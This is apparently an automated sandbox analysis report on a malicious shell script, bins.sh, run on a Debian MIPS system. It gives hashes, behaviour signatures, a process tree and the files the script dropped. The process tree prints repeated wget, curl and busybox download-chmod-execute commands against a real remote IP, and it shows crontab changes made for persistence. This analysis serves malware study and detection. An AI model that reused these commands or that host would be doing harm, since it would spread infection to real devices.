Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04-11-2024 04:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1b54a6f1f7501429bfc2fead1a268a11

  • SHA1

    e5517e8ed409177530cf7be0a4175bf9949b52ef

  • SHA256

    81fada1d726ce932e116affa6ac75bf69dfe4995575f2dc8807795e2df98ed17

  • SHA512

    6a617e67289f8ac41cd6e5d7b82476060d45608bf298da4d2693705844e16f80eac1d1223836f331c3bbd18f29391050ace4b3c3f1647f800c5cb788769c43a7

  • SSDEEP

    192:KOKmQ7TrE9/ZMAmn33TvAQvMAmn31TvBxKmQ7T2:KOKmQ7TrE9/ZMAmn33TvAMMAmn31TvHf

Malware Config

Signatures

  • Contacts a large (981) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:710
        • /usr/bin/wget
          wget http://216.126.231.240/bins/h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
          2⤵
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
          2⤵
          • Writes file to tmp directory
          PID:727
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod 777 h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
          ./h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://216.126.231.240/bins/TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
            2⤵
            • Writes file to tmp directory
            PID:741
          • /bin/chmod
            chmod 777 TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
            ./TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
            2⤵
            • Executes dropped EXE
            PID:743
          • /bin/rm
            rm TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy
            2⤵
              PID:745
            • /usr/bin/wget
              wget http://216.126.231.240/bins/ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
              2⤵
              • Writes file to tmp directory
              PID:746
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
              2⤵
              • Writes file to tmp directory
              PID:747
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
              2⤵
              • Writes file to tmp directory
              PID:763
            • /bin/chmod
              chmod 777 ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
              2⤵
              • File and Directory Permissions Modification
              PID:768
            • /tmp/ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
              ./ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
              2⤵
              • Executes dropped EXE
              PID:769
            • /bin/rm
              rm ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o
              2⤵
                PID:772
              • /usr/bin/wget
                wget http://216.126.231.240/bins/eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                2⤵
                • Writes file to tmp directory
                PID:773
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                2⤵
                • Writes file to tmp directory
                PID:782
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                2⤵
                • Writes file to tmp directory
                PID:803
              • /bin/chmod
                chmod 777 eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                2⤵
                • File and Directory Permissions Modification
                PID:805
              • /tmp/eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                ./eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                2⤵
                • Executes dropped EXE
                PID:806
              • /bin/rm
                rm eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46
                2⤵
                  PID:840
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                  2⤵
                  • Writes file to tmp directory
                  PID:841
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                  2⤵
                  • Writes file to tmp directory
                  PID:842
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                  2⤵
                  • Writes file to tmp directory
                  PID:843
                • /bin/chmod
                  chmod 777 BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                  2⤵
                  • File and Directory Permissions Modification
                  PID:844
                • /tmp/BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                  ./BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                  2⤵
                  • Executes dropped EXE
                  PID:845
                • /bin/rm
                  rm BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk
                  2⤵
                    PID:847
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                    2⤵
                    • Writes file to tmp directory
                    PID:848
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                    2⤵
                    • Writes file to tmp directory
                    PID:849
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                    2⤵
                    • Writes file to tmp directory
                    PID:850
                  • /bin/chmod
                    chmod 777 K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                    2⤵
                    • File and Directory Permissions Modification
                    PID:851
                  • /tmp/K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                    ./K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                    2⤵
                    • Executes dropped EXE
                    PID:852
                  • /bin/rm
                    rm K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt
                    2⤵
                      PID:854
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                      2⤵
                      • Writes file to tmp directory
                      PID:855
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                      2⤵
                      • Writes file to tmp directory
                      PID:856
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                      2⤵
                      • Writes file to tmp directory
                      PID:857
                    • /bin/chmod
                      chmod 777 DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                      2⤵
                      • File and Directory Permissions Modification
                      PID:858
                    • /tmp/DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                      ./DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                      2⤵
                      • Executes dropped EXE
                      PID:859
                    • /bin/rm
                      rm DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb
                      2⤵
                        PID:861
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/AcBRFtthZyeUlzXiHbk1TjqCirpWG6l2qL
                        2⤵
                        • Writes file to tmp directory
                        PID:862
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/AcBRFtthZyeUlzXiHbk1TjqCirpWG6l2qL
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:863
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/AcBRFtthZyeUlzXiHbk1TjqCirpWG6l2qL
                        2⤵
                        • Writes file to tmp directory
                        PID:864
                      • /bin/chmod
                        chmod 777 AcBRFtthZyeUlzXiHbk1TjqCirpWG6l2qL
                        2⤵
                        • File and Directory Permissions Modification
                        PID:865
                      • /tmp/AcBRFtthZyeUlzXiHbk1TjqCirpWG6l2qL
                        ./AcBRFtthZyeUlzXiHbk1TjqCirpWG6l2qL
                        2⤵
                        • Executes dropped EXE
                        PID:866
                      • /bin/rm
                        rm AcBRFtthZyeUlzXiHbk1TjqCirpWG6l2qL
                        2⤵
                          PID:868
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/twQa7Z9WvcXUreBTZbMFnkEZ9qZRSTg8XT
                          2⤵
                          • Writes file to tmp directory
                          PID:869
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/twQa7Z9WvcXUreBTZbMFnkEZ9qZRSTg8XT
                          2⤵
                          • Writes file to tmp directory
                          PID:870
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/twQa7Z9WvcXUreBTZbMFnkEZ9qZRSTg8XT
                          2⤵
                          • Writes file to tmp directory
                          PID:871
                        • /bin/chmod
                          chmod 777 twQa7Z9WvcXUreBTZbMFnkEZ9qZRSTg8XT
                          2⤵
                          • File and Directory Permissions Modification
                          PID:872
                        • /tmp/twQa7Z9WvcXUreBTZbMFnkEZ9qZRSTg8XT
                          ./twQa7Z9WvcXUreBTZbMFnkEZ9qZRSTg8XT
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:873
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:875
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                • Reads runtime system information
                                PID:876
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:877
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  • Reads runtime system information
                                  PID:878
                            • /bin/rm
                              rm twQa7Z9WvcXUreBTZbMFnkEZ9qZRSTg8XT
                              2⤵
                                PID:880
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/q8Yc57v9BRas1d4BmGcsSLQekDlgvkuOzn
                                2⤵
                                  PID:883
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/q8Yc57v9BRas1d4BmGcsSLQekDlgvkuOzn
                                  2⤵
                                    PID:884
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/q8Yc57v9BRas1d4BmGcsSLQekDlgvkuOzn
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:885
                                  • /bin/chmod
                                    chmod 777 q8Yc57v9BRas1d4BmGcsSLQekDlgvkuOzn
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:966
                                  • /tmp/q8Yc57v9BRas1d4BmGcsSLQekDlgvkuOzn
                                    ./q8Yc57v9BRas1d4BmGcsSLQekDlgvkuOzn
                                    2⤵
                                    • Executes dropped EXE
                                    PID:967
                                  • /bin/rm
                                    rm q8Yc57v9BRas1d4BmGcsSLQekDlgvkuOzn
                                    2⤵
                                      PID:969
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/n6fK8N5d81CzAy4RB0IA3nHG7aiLwBccj3
                                      2⤵
                                        PID:970
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/n6fK8N5d81CzAy4RB0IA3nHG7aiLwBccj3
                                        2⤵
                                          PID:971

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/AcBRFtthZyeUlzXiHbk1TjqCirpWG6l2qL

                                        Filesize

                                        107KB

                                        MD5

                                        eb9c3a0de91fcf16ba17cb24608df68c

                                        SHA1

                                        09d95a7d70d5e115d103be51edff7c498d272fac

                                        SHA256

                                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                        SHA512

                                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                      • /tmp/BRyVU1srsvljkT92Zlj7fIYFA9f6tcCOMk

                                        Filesize

                                        119KB

                                        MD5

                                        1b166b95f9cb4b079ef1b9ec8363ddf3

                                        SHA1

                                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                                        SHA256

                                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                        SHA512

                                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                      • /tmp/DTvDE1lpKC2htfib0xYBC3u7b1svCPxUxb

                                        Filesize

                                        98KB

                                        MD5

                                        5141342d0df8699fa32a6b066a0c592e

                                        SHA1

                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                        SHA256

                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                        SHA512

                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                      • /tmp/K6dr6iB6Lj76Lp7VZzpH9HNuwDY8dgQAOt

                                        Filesize

                                        127KB

                                        MD5

                                        89077b7bd4bcafca7713be43635c4862

                                        SHA1

                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                        SHA256

                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                        SHA512

                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                      • /tmp/TtEelidEbphQDGDwlbDqGZgPZMOxMBpzfy

                                        Filesize

                                        111KB

                                        MD5

                                        ca897a38f23ec23521ce0b1b83f8422d

                                        SHA1

                                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                        SHA256

                                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                        SHA512

                                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                      • /tmp/eHoyqHW3cRoL6c33QV2zrHTkZ0cwwSRA46

                                        Filesize

                                        141KB

                                        MD5

                                        3ca8decdb1e52c423c521bfff02ac200

                                        SHA1

                                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                                        SHA256

                                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                        SHA512

                                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                      • /tmp/h0z1hnr35c6xCagKjfcfa7JlIK4VhiGptB

                                        Filesize

                                        111KB

                                        MD5

                                        701e7a55a4f3650f5feee92a9860e5fc

                                        SHA1

                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                        SHA256

                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                        SHA512

                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                      • /tmp/ptJNl9zXpySBaKTItE8UbS2kahe1yTAy2o

                                        Filesize

                                        177KB

                                        MD5

                                        786d75a158fe731feca3880f436082c0

                                        SHA1

                                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                        SHA256

                                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                        SHA512

                                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                      • /tmp/q8Yc57v9BRas1d4BmGcsSLQekDlgvkuOzn

                                        Filesize

                                        151KB

                                        MD5

                                        6c583043d91c55aa470c08c87058e917

                                        SHA1

                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                        SHA256

                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                        SHA512

                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                      • /tmp/twQa7Z9WvcXUreBTZbMFnkEZ9qZRSTg8XT

                                        Filesize

                                        151KB

                                        MD5

                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                        SHA1

                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                        SHA256

                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                        SHA512

                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                      • /var/spool/cron/crontabs/tmp.sUTiEs

                                        Filesize

                                        210B

                                        MD5

                                        787cbd8d65db0a7266b556cd44df540a

                                        SHA1

                                        8f2f7fb0ec8b284f59fd4e49e002e60cca58fbc6

                                        SHA256

                                        197e454224ea097f98df916536d5492816b8556b2bd6baedc894007414bb5f42

                                        SHA512

                                        6663df3c6e48f384026e29be852ec2bfa639404a9e7e687a43119ee1e4f71fbf123193a46c090189169a259f18c3e87184e608bc286f7c9b9914c63ccaacfea1